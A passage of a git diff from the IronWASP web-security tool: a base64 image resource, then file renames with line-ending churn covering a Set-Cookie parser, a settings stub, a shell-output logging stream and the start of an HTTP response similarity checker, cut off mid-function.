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 + + + \ No newline at end of file diff --git a/IronWASP/SetCookie.cs b/Iron/SetCookie.cs similarity index 96% rename from IronWASP/SetCookie.cs rename to Iron/SetCookie.cs index 1c0660b..74a8b29 100644 --- a/IronWASP/SetCookie.cs +++ b/Iron/SetCookie.cs @@ -1,195 +1,195 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class SetCookie - { - string name = ""; - string value = ""; - string fullString = ""; - List attributes = new List(); - string path = ""; - string domain = ""; - string expires = ""; - string maxAge = ""; - string comment = ""; - string version = ""; - bool httpOnly = false; - bool secure = false; - - public string Name - { - get - { - return this.name; - } - } - public string Value - { - get - { - return this.value; - } - } - public string FullString - { - get - { - return this.fullString; - } - } - public List Attributes - { - get - { - return this.attributes; - } - } - public string Path - { - get - { - return this.path; - } - } - public string Domain - { - get - { - return this.domain; - } - } - public string Expires - { - get - { - return this.expires; - } - } - public string MaxAge - { - get - { - return this.maxAge; - } - } - public string Comment - { - get - { - return this.comment; - } - } - public string Version - { - get - { - return this.version; - } - } - public bool HttpOnly - { - get - { - return this.httpOnly; - } - } - public bool Secure - { - get - { - return this.secure; - } - } - - public SetCookie(string SetCookieString) - { - this.fullString = SetCookieString; - string[] Parts = this.fullString.Split(new char[]{';'}, StringSplitOptions.RemoveEmptyEntries); - if (Parts.Length == 0) return; - int NVE = Parts[0].IndexOf("="); - if(NVE > 0) - { - this.name = CookieParameters.Decode(Parts[0].Substring(0, NVE).Trim()); - if(Parts[0].Length > (NVE + 1)) - { - this.value = CookieParameters.Decode(Parts[0].Substring(NVE + 1).Trim()); - } - } - for(int i=1; i 0) - { - string K = Parts[i].Substring(0, NVE).ToLower().Trim(); - if(Parts[i].Length > (NVE + 1)) - { - string V = Parts[i].Substring(NVE + 1).Trim(); - if(K.Equals("domain")) - { - this.domain = V; - } - else if(K.Equals("path")) - { - this.path = V; - } - else if(K.Equals("max-age")) - { - this.maxAge = V; - } - else if(K.Equals("expires")) - { - this.expires = V; - } - else if(K.Equals("comment")) - { - this.comment = V; - } - else if(K.Equals("version")) - { - this.version = V; - } - } - } - else - { - string Part = Parts[i].ToLower().Trim(); - if(Part.Equals("httponly")) - { - this.httpOnly = true; - } - else if(Part.Equals("secure")) - { - this.secure = true; - } - } - this.attributes.Add(Parts[i]); - } - } - - internal void SetDomain(string Domain) - { - this.domain = Domain; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class SetCookie + { + string name = ""; + string value = ""; + string fullString = ""; + List attributes = new List(); + string path = ""; + string domain = ""; + string expires = ""; + string maxAge = ""; + string comment = ""; + string version = ""; + bool httpOnly = false; + bool secure = false; + + public string Name + { + get + { + return this.name; + } + } + public string Value + { + get + { + return this.value; + } + } + public string FullString + { + get + { + return this.fullString; + } + } + public List Attributes + { + get + { + return this.attributes; + } + } + public string Path + { + get + { + return this.path; + } + } + public string Domain + { + get + { + return this.domain; + } + } + public string Expires + { + get + { + return this.expires; + } + } + public string MaxAge + { + get + { + return this.maxAge; + } + } + public string Comment + { + get + { + return this.comment; + } + } + public string Version + { + get + { + return this.version; + } + } + public bool HttpOnly + { + get + { + return this.httpOnly; + } + } + public bool Secure + { + get + { + return this.secure; + } + } + + public SetCookie(string SetCookieString) + { + this.fullString = SetCookieString; + string[] Parts = this.fullString.Split(new char[]{';'}, StringSplitOptions.RemoveEmptyEntries); + if (Parts.Length == 0) return; + int NVE = Parts[0].IndexOf("="); + if(NVE > 0) + { + this.name = CookieParameters.Decode(Parts[0].Substring(0, NVE).Trim()); + if(Parts[0].Length > (NVE + 1)) + { + this.value = CookieParameters.Decode(Parts[0].Substring(NVE + 1).Trim()); + } + } + for(int i=1; i 0) + { + string K = Parts[i].Substring(0, NVE).ToLower().Trim(); + if(Parts[i].Length > (NVE + 1)) + { + string V = Parts[i].Substring(NVE + 1).Trim(); + if(K.Equals("domain")) + { + this.domain = V; + } + else if(K.Equals("path")) + { + this.path = V; + } + else if(K.Equals("max-age")) + { + this.maxAge = V; + } + else if(K.Equals("expires")) + { + this.expires = V; + } + else if(K.Equals("comment")) + { + this.comment = V; + } + else if(K.Equals("version")) + { + this.version = V; + } + } + } + else + { + string Part = Parts[i].ToLower().Trim(); + if(Part.Equals("httponly")) + { + this.httpOnly = true; + } + else if(Part.Equals("secure")) + { + this.secure = true; + } + } + this.attributes.Add(Parts[i]); + } + } + + internal void SetDomain(string Domain) + { + this.domain = Domain; + } + } +} diff --git a/IronWASP/Settings.cs b/Iron/Settings.cs similarity index 97% rename from IronWASP/Settings.cs rename to Iron/Settings.cs index e89947b..0a3c09d 100644 --- a/IronWASP/Settings.cs +++ b/Iron/Settings.cs @@ -1,28 +1,28 @@ -namespace Iron.Properties { - - - // This class allows you to handle specific events on the settings class: - // The SettingChanging event is raised before a setting's value is changed. - // The PropertyChanged event is raised after a setting's value is changed. - // The SettingsLoaded event is raised after the setting values are loaded. - // The SettingsSaving event is raised before the setting values are saved. - internal sealed partial class Settings { - - public Settings() { - // // To add event handlers for saving and changing settings, uncomment the lines below: - // - // this.SettingChanging += this.SettingChangingEventHandler; - // - // this.SettingsSaving += this.SettingsSavingEventHandler; - // - } - - private void SettingChangingEventHandler(object sender, System.Configuration.SettingChangingEventArgs e) { - // Add code to handle the SettingChangingEvent event here. - } - - private void SettingsSavingEventHandler(object sender, System.ComponentModel.CancelEventArgs e) { - // Add code to handle the SettingsSaving event here. - } - } -} +namespace Iron.Properties { + + + // This class allows you to handle specific events on the settings class: + // The SettingChanging event is raised before a setting's value is changed. + // The PropertyChanged event is raised after a setting's value is changed. + // The SettingsLoaded event is raised after the setting values are loaded. + // The SettingsSaving event is raised before the setting values are saved. + internal sealed partial class Settings { + + public Settings() { + // // To add event handlers for saving and changing settings, uncomment the lines below: + // + // this.SettingChanging += this.SettingChangingEventHandler; + // + // this.SettingsSaving += this.SettingsSavingEventHandler; + // + } + + private void SettingChangingEventHandler(object sender, System.Configuration.SettingChangingEventArgs e) { + // Add code to handle the SettingChangingEvent event here. + } + + private void SettingsSavingEventHandler(object sender, System.ComponentModel.CancelEventArgs e) { + // Add code to handle the SettingsSaving event here. + } + } +} diff --git a/IronWASP/ShellResultStream.cs b/Iron/ShellResultStream.cs similarity index 96% rename from IronWASP/ShellResultStream.cs rename to Iron/ShellResultStream.cs index 1d36b6b..bde809e 100644 --- a/IronWASP/ShellResultStream.cs +++ b/Iron/ShellResultStream.cs @@ -1,47 +1,47 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - class ShellResultStream : MemoryStream - { - public override void Write(byte[] buffer, int offset, int count) - { - byte[] Output = new byte[count]; - for (int i = 0; i < count; i++) - { - Output[i] = buffer[i + offset]; - } - if (buffer.Length > 0) - { - string ResultString = Encoding.UTF8.GetString(Output); - IronUI.UpdateInteractiveShellOut(ResultString); - try - { - IronDB.CommandsLogFile.WriteLine(ResultString); - } - catch { } - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + class ShellResultStream : MemoryStream + { + public override void Write(byte[] buffer, int offset, int count) + { + byte[] Output = new byte[count]; + for (int i = 0; i < count; i++) + { + Output[i] = buffer[i + offset]; + } + if (buffer.Length > 0) + { + string ResultString = Encoding.UTF8.GetString(Output); + IronUI.UpdateInteractiveShellOut(ResultString); + try + { + IronDB.CommandsLogFile.WriteLine(ResultString); + } + catch { } + } + } + } +} diff --git a/IronWASP/SimilarityChecker.cs b/Iron/SimilarityChecker.cs similarity index 97% rename from IronWASP/SimilarityChecker.cs rename to Iron/SimilarityChecker.cs index 54f4b8b..251c057 100644 --- a/IronWASP/SimilarityChecker.cs +++ b/Iron/SimilarityChecker.cs @@ -1,316 +1,316 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class SimilarityChecker - { - Dictionary ItemsDictionary = new Dictionary(); - - public List StrictGroups = new List(); - public List RelaxedGroups = new List(); - - public string StrictGroupsSignature - { - get - { - StringBuilder SB = new StringBuilder(); - foreach (SimilarityCheckerGroup Group in StrictGroups) - { - SB.Append(Group.Signature); - SB.Append(" "); - } - return SB.ToString(); - } - } - - public string RelaxedGroupsSignature - { - get - { - StringBuilder SB = new StringBuilder(); - foreach (SimilarityCheckerGroup Group in RelaxedGroups) - { - SB.Append(Group.Signature); - SB.Append(" "); - } - return SB.ToString(); - } - } - - public void Add(string Key, Response Item) - { - if (ItemsDictionary.ContainsKey(Key)) - { - throw new Exception(string.Format("Key-{0} already exists!", Key)); - } - ItemsDictionary[Key] = new SimilarityCheckerItem(Key, Item); - } - - public void Add(string Key, Response Item, string Payload) - { - if (ItemsDictionary.ContainsKey(Key)) - { - throw new Exception(string.Format("Key-{0} already exists!", Key)); - } - ItemsDictionary[Key] = new SimilarityCheckerItem(Key, Item, Payload); - } - - public void Check() - { - List> CodeGroups = GroupByCode(new List(ItemsDictionary.Values)); - - List> StrictLengthGroups = new List>(); - List> RelaxedLengthGroups = new List>(); - - foreach (List Group in CodeGroups) - { - StrictLengthGroups.AddRange(StrictGroupByLength(Group)); - RelaxedLengthGroups.AddRange(RelaxedGroupByLength(Group)); - } - - List> StrictContentGroups = new List>(); - List> RelaxedContentGroups = new List>(); - foreach (List Group in StrictLengthGroups) - { - StrictContentGroups.AddRange(StrictGroupByContent(Group)); - } - - foreach (List Group in RelaxedLengthGroups) - { - RelaxedContentGroups.AddRange(RelaxedGroupByContent(Group)); - } - - StrictGroups.Clear(); - foreach (List sig in StrictContentGroups) - { - SimilarityCheckerGroup SCG = new SimilarityCheckerGroup(); - foreach (SimilarityCheckerItem sci in sig) - { - SCG.AddItem(sci); - } - StrictGroups.Add(SCG); - } - - RelaxedGroups.Clear(); - foreach (List rig in RelaxedContentGroups) - { - SimilarityCheckerGroup RCG = new SimilarityCheckerGroup(); - foreach (SimilarityCheckerItem rci in rig) - { - RCG.AddItem(rci); - } - RelaxedGroups.Add(RCG); - } - } - - List> GroupByCode(List Items) - { - Dictionary> CodeGroupDict = new Dictionary>(); - List> CodeGroups = new List>(); - foreach (SimilarityCheckerItem Item in Items) - { - if (!CodeGroupDict.ContainsKey(Item.Res.Code)) - { - CodeGroupDict[Item.Res.Code] = new List(); - } - CodeGroupDict[Item.Res.Code].Add(Item); - } - foreach (int Key in CodeGroupDict.Keys) - { - CodeGroups.Add(CodeGroupDict[Key]); - } - return CodeGroups; - } - - List> StrictGroupByLength(List Group) - { - Dictionary> LengthGroupDict = new Dictionary>(); - List> LengthGroups = new List>(); - if (Group.Count == 0) - { - return LengthGroups; - } - else if (Group.Count == 1) - { - LengthGroups.Add(Group); - return LengthGroups; - } - - foreach (SimilarityCheckerItem Item in Group) - { - if (!LengthGroupDict.ContainsKey(Item.ProcessedBodyString.Length)) - { - LengthGroupDict[Item.ProcessedBodyString.Length] = new List(); - } - LengthGroupDict[Item.ProcessedBodyString.Length].Add(Item); - } - - foreach (int Key in LengthGroupDict.Keys) - { - LengthGroups.Add(LengthGroupDict[Key]); - } - return LengthGroups; - } - - List> RelaxedGroupByLength(List Group) - { - Dictionary> LengthGroupDict = new Dictionary>(); - List> LengthGroups = new List>(); - if (Group.Count == 0) - { - return LengthGroups; - } - else if (Group.Count == 1) - { - LengthGroups.Add(Group); - return LengthGroups; - } - - int[] Lengths = new int[Group.Count]; - int i = 0; - foreach (SimilarityCheckerItem Item in Group) - { - Lengths[i] = Item.ProcessedBodyString.Length; - i++; - } - - Array.Sort(Lengths); - - int CurrentKey = Lengths[0]; - - LengthGroupDict[CurrentKey] = new List(); - LengthGroupDict[CurrentKey].Add(Lengths[0]); - - for (int j = 0; j < Lengths.Length - 1; j++) - { - if (Tools.GetPercent(CurrentKey, Lengths[j + 1]) > 5) - { - CurrentKey = Lengths[j + 1]; - LengthGroupDict[CurrentKey] = new List(); - } - LengthGroupDict[CurrentKey].Add(Lengths[j + 1]); - } - - List GroupedKeys = new List(); - - foreach (int Key in LengthGroupDict.Keys) - { - List SubGroup = new List(); - foreach (int Length in LengthGroupDict[Key]) - { - foreach (SimilarityCheckerItem Item in Group) - { - if (Item.ProcessedBodyString.Length == Length && !GroupedKeys.Contains(Item.Key)) - { - SubGroup.Add(Item); - GroupedKeys.Add(Item.Key); - break; - } - } - } - LengthGroups.Add(SubGroup); - } - return LengthGroups; - } - - List> StrictGroupByContent(List Group) - { - List> ContentGroups = new List>(); - - if (Group.Count == 0) - { - return ContentGroups; - } - else if (Group.Count == 1) - { - ContentGroups.Add(Group); - return ContentGroups; - } - - List PendingMatch = new List(Group); - - - while(PendingMatch.Count > 0) - { - List Matched = new List(); - List UnMatched = new List(); - Matched.Add(PendingMatch[0]); - for (int i = 1; i < PendingMatch.Count; i++) - { - if 